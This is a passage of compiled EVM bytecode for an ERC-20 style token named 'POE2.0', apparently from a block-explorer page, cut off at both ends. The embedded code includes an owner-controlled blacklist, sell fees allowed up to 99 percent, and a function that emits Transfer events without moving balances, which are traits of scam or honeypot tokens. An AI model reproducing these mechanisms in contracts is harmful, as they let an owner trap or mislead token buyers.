fb565b506001905095945050505050565b5f610c49848484611c00565b610d0684610c55611a36565b610d01856040518060600160405280602881526020016142386028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cb8611a36565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124609092919063ffffffff16565b611a3d565b600190509392505050565b60185481565b5f6002905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d4c611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf9061374c565b60405180910390fd5b5f60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610e37611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061374c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f20611a36565b73ffffffffffffffffffffffffffffffffffffffff161480610f95575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f7d611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b610f9d575f80fd5b5f479050610faa816124c2565b50565b5f610ff460025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461252a565b9050919050565b611003611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461108f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110869061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611151611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d49061374c565b60405180910390fd5b8060168190555050565b6111ef611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061374c565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600681526020017f504f45322e300000000000000000000000000000000000000000000000000000815250905090565b611328611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061374c565b60405180910390fd5b8060188190555050565b5f6113d16113ca611a36565b8484611c00565b6001905092915050565b6010602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611438611a36565b73ffffffffffffffffffffffffffffffffffffffff1614806114ad575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611495611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b6114b5575f80fd5b5f6114bf30610fad565b90506114ca81612596565b50565b6114d5611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115589061374c565b60405180910390fd5b5f5b838390508110156115fc578160055f8686858181106115855761158461376a565b5b905060200201602081019061159a91906134ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806115f4906137c4565b915050611563565b50505050565b61160a611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611696576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168d9061374c565b60405180910390fd5b601982856116a491906138fb565b11156116ae575f80fd5b606381846116bc91906138fb565b11156116c6575f80fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117c891906132af565b60405180910390a3600190509392505050565b6117e3611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461186f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118669061374c565b60405180910390fd5b8060178190555050565b611881611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119049061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119729061399e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290613a2c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1090613aba565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bf391906132af565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590613b48565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd390613bd6565b60405180910390fd5b5f8111611d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1590613c64565b60405180910390fd5b611d266112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d945750611d646112b6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561216d57601560149054906101000a900460ff16611e2357611db56112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1990613cf2565b60405180910390fd5b5b601654811115611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90613d5a565b60405180910390fd5b60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611f06575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3c90613de8565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ff15760175481611fa684610fad565b611fb091906138fb565b10611ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe790613e76565b60405180910390fd5b5b5f611ffb30610fad565b90505f601854821015905060165482106120155760165491505b80801561202d575060158054906101000a900460ff16155b8015612086575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561209e5750601560169054906101000a900460ff165b80156120f1575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612144575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561216a5761215282612596565b5f4790505f81111561216857612167476124c2565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061220d575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806122be575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122bd575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156122cb575f905061244e565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612374575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561238c57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612435575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561244d57600a54600c81905550600b54600d819055505b5b61245a848484846127ff565b50505050565b5f8383111582906124a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249e9190613168565b60405180910390fd5b505f83856124b59190613e94565b9050809150509392505050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612526573d5f803e3d5ffd5b5050565b5f600654821115612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613f37565b60405180910390fd5b5f61257961282c565b905061258e818461285590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156125cc576125cb612f11565b5b6040519080825280602002602001820160405280156125fa5781602001602082028036833780820191505090505b50905030815f815181106126115761261061376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126d99190613f69565b816001815181106126ed576126ec61376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127533060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a3d565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b595949392919061404b565b5f604051808303815f87803b1580156127cc575f80fd5b505af11580156127de573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b8061280d5761280c61289e565b5b6128188484846128d7565b8061282657612825612a97565b5b50505050565b5f805f612837612aab565b9150915061284e818361285590919063ffffffff16565b9250505090565b5f61289683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b07565b905092915050565b5f600c541480156128b057505f600d54145b6128d557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806128e687612b68565b9550955095509550955095506129428660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612bc890919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506129d38560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a1d81612c6e565b612a278483612d25565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a8491906132af565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f670de0b6b3a76400009050612adc670de0b6b3a764000060065461285590919063ffffffff16565b821015612afa57600654670de0b6b3a7640000935093505050612b03565b81819350935050505b9091565b5f8083118290612b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b449190613168565b60405180910390fd5b505f8385612b5b91906140d0565b9050809150509392505050565b5f805f805f805f805f612b808a600c54600d54612d5f565b9250925092505f612b8f61282c565b90505f805f612ba08e878787612df1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f612c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612460565b905092915050565b5f808284612c1f91906138fb565b905083811015612c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5b9061414a565b60405180910390fd5b8091505092915050565b5f612c7761282c565b90505f612c8d8284612e7590919063ffffffff16565b9050612cdf8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612d3a82600654612bc890919063ffffffff16565b600681905550612d5581600754612c1190919063ffffffff16565b6007819055505050565b5f805f80612d896064612d7b888a612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612db26064612da4888b612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612dda82612dcc858c612bc890919063ffffffff16565b612bc890919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f80612e088589612e7590919063ffffffff16565b90505f612e1e8689612e7590919063ffffffff16565b90505f612e348789612e7590919063ffffffff16565b90505f612e5c82612e4e8587612bc890919063ffffffff16565b612bc890919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612e85575f9050612ee6565b5f8284612e929190614168565b9050828482612ea191906140d0565b14612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed890614219565b60405180910390fd5b809150505b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612f4782612f01565b810181811067ffffffffffffffff82111715612f6657612f65612f11565b5b80604052505050565b5f612f78612eec565b9050612f848282612f3e565b919050565b5f67ffffffffffffffff821115612fa357612fa2612f11565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612fe182612fb8565b9050919050565b612ff181612fd7565b8114612ffb575f80fd5b50565b5f8135905061300c81612fe8565b92915050565b5f61302461301f84612f89565b612f6f565b9050808382526020820190506020840283018581111561304757613046612fb4565b5b835b81811015613070578061305c8882612ffe565b845260208401935050602081019050613049565b5050509392505050565b5f82601f83011261308e5761308d612efd565b5b813561309e848260208601613012565b91505092915050565b5f602082840312156130bc576130bb612ef5565b5b5f82013567ffffffffffffffff8111156130d9576130d8612ef9565b5b6130e58482850161307a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561312557808201518184015260208101905061310a565b5f8484015250505050565b5f61313a826130ee565b61314481856130f8565b9350613154818560208601613108565b61315d81612f01565b840191505092915050565b5f6020820190508181035f8301526131808184613130565b905092915050565b5f819050919050565b61319a81613188565b81146131a4575f80fd5b50565b5f813590506131b581613191565b92915050565b5f80604083850312156131d1576131d0612ef5565b5b5f6131de85828601612ffe565b92505060206131ef858286016131a7565b9150509250929050565b5f8115159050919050565b61320d816131f9565b82525050565b5f6020820190506132265f830184613204565b92915050565b5f819050919050565b5f61324f61324a61324584612fb8565b61322c565b612fb8565b9050919050565b5f61326082613235565b9050919050565b5f61327182613256565b9050919050565b61328181613267565b82525050565b5f60208201905061329a5f830184613278565b92915050565b6132a981613188565b82525050565b5f6020820190506132c25f8301846132a0565b92915050565b5f67ffffffffffffffff8211156132e2576132e1612f11565b5b602082029050602081019050919050565b5f613305613300846132c8565b612f6f565b9050808382526020820190506020840283018581111561332857613327612fb4565b5b835b81811015613351578061333d88826131a7565b84526020840193505060208101905061332a565b5050509392505050565b5f82601f83011261336f5761336e612efd565b5b813561337f8482602086016132f3565b91505092915050565b5f805f805f60a086880312156133a1576133a0612ef5565b5b5f6133ae88828901612ffe565b955050602086013567ffffffffffffffff8111156133cf576133ce612ef9565b5b6133db8882890161307a565b945050604086013567ffffffffffffffff8111156133fc576133fb612ef9565b5b6134088882890161335b565b935050606086013567ffffffffffffffff81111561342957613428612ef9565b5b6134358882890161335b565b925050608061344688828901612ffe565b9150509295509295909350565b5f805f6060848603121561346a57613469612ef5565b5b5f61347786828701612ffe565b935050602061348886828701612ffe565b9250506040613499868287016131a7565b9150509250925092565b5f60ff82169050919050565b6134b8816134a3565b82525050565b5f6020820190506134d15f8301846134af565b92915050565b6134e081612fd7565b82525050565b5f6020820190506134f95f8301846134d7565b92915050565b5f6020828403121561351457613513612ef5565b5b5f61352184828501612ffe565b91505092915050565b613533816131f9565b811461353d575f80fd5b50565b5f8135905061354e8161352a565b92915050565b5f6020828403121561356957613568612ef5565b5b5f61357684828501613540565b91505092915050565b5f6020828403121561359457613593612ef5565b5b5f6135a1848285016131a7565b91505092915050565b5f80fd5b5f8083601f8401126135c3576135c2612efd565b5b8235905067ffffffffffffffff8111156135e0576135df6135aa565b5b6020830191508360208202830111156135fc576135fb612fb4565b5b9250929050565b5f805f6040848603121561361a57613619612ef5565b5b5f84013567ffffffffffffffff81111561363757613636612ef9565b5b613643868287016135ae565b9350935050602061365686828701613540565b9150509250925092565b5f805f806080858703121561367857613677612ef5565b5b5f613685878288016131a7565b9450506020613696878288016131a7565b93505060406136a7878288016131a7565b92505060606136b8878288016131a7565b91505092959194509250565b5f80604083850312156136da576136d9612ef5565b5b5f6136e785828601612ffe565b92505060206136f885828601612ffe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6137366020836130f8565b915061374182613702565b602082019050919050565b5f6020820190508181035f8301526137638161372a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6137ce82613188565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613800576137ff613797565b5b600182019050919050565b5f819050919050565b5f61382e6138296138248461380b565b61322c565b613188565b9050919050565b61383e81613814565b82525050565b5f6080820190506138575f8301876132a0565b6138646020830186613835565b6138716040830185613835565b61387e60608301846132a0565b95945050505050565b5f60608201905061389a5f8301866134d7565b6138a760208301856134d7565b6138b460408301846132a0565b949350505050565b5f815190506138ca8161352a565b92915050565b5f602082840312156138e5576138e4612ef5565b5b5f6138f2848285016138bc565b91505092915050565b5f61390582613188565b915061391083613188565b925082820190508082111561392857613927613797565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6139886026836130f8565b91506139938261392e565b604082019050919050565b5f6020820190508181035f8301526139b58161397c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613a166024836130f8565b9150613a21826139bc565b604082019050919050565b5f6020820190508181035f830152613a4381613a0a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613aa46022836130f8565b9150613aaf82613a4a565b604082019050919050565b5f6020820190508181035f830152613ad181613a98565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b326025836130f8565b9150613b3d82613ad8565b604082019050919050565b5f6020820190508181035f830152613b5f81613b26565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613bc06023836130f8565b9150613bcb82613b66565b604082019050919050565b5f6020820190508181035f830152613bed81613bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613c4e6029836130f8565b9150613c5982613bf4565b604082019050919050565b5f6020820190508181035f830152613c7b81613c42565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f613cdc603f836130f8565b9150613ce782613c82565b604082019050919050565b5f6020820190508181035f830152613d0981613cd0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613d44601c836130f8565b9150613d4f82613d10565b602082019050919050565b5f6020820190508181035f830152613d7181613d38565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c6973745f8201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b5f613dd26023836130f8565b9150613ddd82613d78565b604082019050919050565b5f6020820190508181035f830152613dff81613dc6565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613e606023836130f8565b9150613e6b82613e06565b604082019050919050565b5f6020820190508181035f830152613e8d81613e54565b9050919050565b5f613e9e82613188565b9150613ea983613188565b9250828203905081811115613ec157613ec0613797565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613f21602a836130f8565b9150613f2c82613ec7565b604082019050919050565b5f6020820190508181035f830152613f4e81613f15565b9050919050565b5f81519050613f6381612fe8565b92915050565b5f60208284031215613f7e57613f7d612ef5565b5b5f613f8b84828501613f55565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613fc681612fd7565b82525050565b5f613fd78383613fbd565b60208301905092915050565b5f602082019050919050565b5f613ff982613f94565b6140038185613f9e565b935061400e83613fae565b805f5b8381101561403e5781516140258882613fcc565b975061403083613fe3565b925050600181019050614011565b5085935050505092915050565b5f60a08201905061405e5f8301886132a0565b61406b6020830187613835565b818103604083015261407d8186613fef565b905061408c60608301856134d7565b61409960808301846132a0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6140da82613188565b91506140e583613188565b9250826140f5576140f46140a3565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614134601b836130f8565b915061413f82614100565b602082019050919050565b5f6020820190508181035f83015261416181614128565b9050919050565b5f61417282613188565b915061417d83613188565b925082820261418b81613188565b915082820484148315176141a2576141a1613797565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6142036021836130f8565b915061420e826141a9565b604082019050919050565b5f6020820190508181035f830152614230816141f7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b1ef5aaf37d8ccbcab00d7032b4b54977da898ea9f70ea3c9139cbd677d655664736f6c63430008140033
Deployed Bytecode
0x6080604052600436106101f0575f3560e01c806374010ece1161010c578063a9059cbb1161009f578063c6616ba11161006e578063c6616ba1146106a1578063dd62ed3e146106c9578063e156b1b614610705578063ea1644d514610741578063f2fde38b14610769576101f7565b8063a9059cbb146105eb578063bfd7928414610627578063c3c8cd8014610663578063c492f04614610679576101f7565b80638da5cb5b116100db5780638da5cb5b146105455780638f9a55c01461056f57806395d89b411461059957806398a5c315146105c3576101f7565b806374010ece146104a1578063751039fc146104c95780637d1db4a5146104df5780637f2feddc14610509576101f7565b80632fd689e3116101845780636d8aa8f8116101535780636d8aa8f8146104115780636fc3eaec1461043957806370a082311461044f578063715018a61461048b576101f7565b80632fd689e31461036b578063313ce5671461039557806349bd5a5e146103bf5780636b999053146103e9576101f7565b80631694505e116101c05780631694505e1461029f57806318160ddd146102c95780631ae1ffbc146102f357806323b872dd1461032f576101f7565b8062b8cf2a146101fb57806306fdde0314610223578063095ea7b31461024d5780630bd05b6914610289576101f7565b366101f757005b5f80fd5b348015610206575f80fd5b50610221600480360381019061021c91906130a7565b610791565b005b34801561022e575f80fd5b506102376108b6565b6040516102449190613168565b60405180910390f35b348015610258575f80fd5b50610273600480360381019061026e91906131bb565b6108f3565b6040516102809190613213565b60405180910390f35b348015610294575f80fd5b5061029d610910565b005b3480156102aa575f80fd5b506102b36109c1565b6040516102c09190613287565b60405180910390f35b3480156102d4575f80fd5b506102dd6109e6565b6040516102ea91906132af565b60405180910390f35b3480156102fe575f80fd5b5061031960048036038101906103149190613388565b6109f5565b6040516103269190613213565b60405180910390f35b34801561033a575f80fd5b5061035560048036038101906103509190613453565b610c3d565b6040516103629190613213565b60405180910390f35b348015610376575f80fd5b5061037f610d11565b60405161038c91906132af565b60405180910390f35b3480156103a0575f80fd5b506103a9610d17565b6040516103b691906134be565b60405180910390f35b3480156103ca575f80fd5b506103d3610d1f565b6040516103e091906134e6565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a91906134ff565b610d44565b005b34801561041c575f80fd5b5061043760048036038101906104329190613554565b610e2f565b005b348015610444575f80fd5b5061044d610ee0565b005b34801561045a575f80fd5b50610475600480360381019061047091906134ff565b610fad565b60405161048291906132af565b60405180910390f35b348015610496575f80fd5b5061049f610ffb565b005b3480156104ac575f80fd5b506104c760048036038101906104c2919061357f565b611149565b005b3480156104d4575f80fd5b506104dd6111e7565b005b3480156104ea575f80fd5b506104f361129b565b60405161050091906132af565b60405180910390f35b348015610514575f80fd5b5061052f600480360381019061052a91906134ff565b6112a1565b60405161053c91906132af565b60405180910390f35b348015610550575f80fd5b506105596112b6565b60405161056691906134e6565b60405180910390f35b34801561057a575f80fd5b506105836112dd565b60405161059091906132af565b60405180910390f35b3480156105a4575f80fd5b506105ad6112e3565b6040516105ba9190613168565b60405180910390f35b3480156105ce575f80fd5b506105e960048036038101906105e4919061357f565b611320565b005b3480156105f6575f80fd5b50610611600480360381019061060c91906131bb565b6113be565b60405161061e9190613213565b60405180910390f35b348015610632575f80fd5b5061064d600480360381019061064891906134ff565b6113db565b60405161065a9190613213565b60405180910390f35b34801561066e575f80fd5b506106776113f8565b005b348015610684575f80fd5b5061069f600480360381019061069a9190613603565b6114cd565b005b3480156106ac575f80fd5b506106c760048036038101906106c29190613660565b611602565b005b3480156106d4575f80fd5b506106ef60048036038101906106ea91906136c4565b6116e8565b6040516106fc91906132af565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190613453565b61176a565b6040516107389190613213565b60405180910390f35b34801561074c575f80fd5b506107676004803603810190610762919061357f565b6117db565b005b348015610774575f80fd5b5061078f600480360381019061078a91906134ff565b611879565b005b610799611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061374c565b60405180910390fd5b5f5b81518110156108b257600160105f8484815181106108485761084761376a565b5b602002602001015173ffffffffff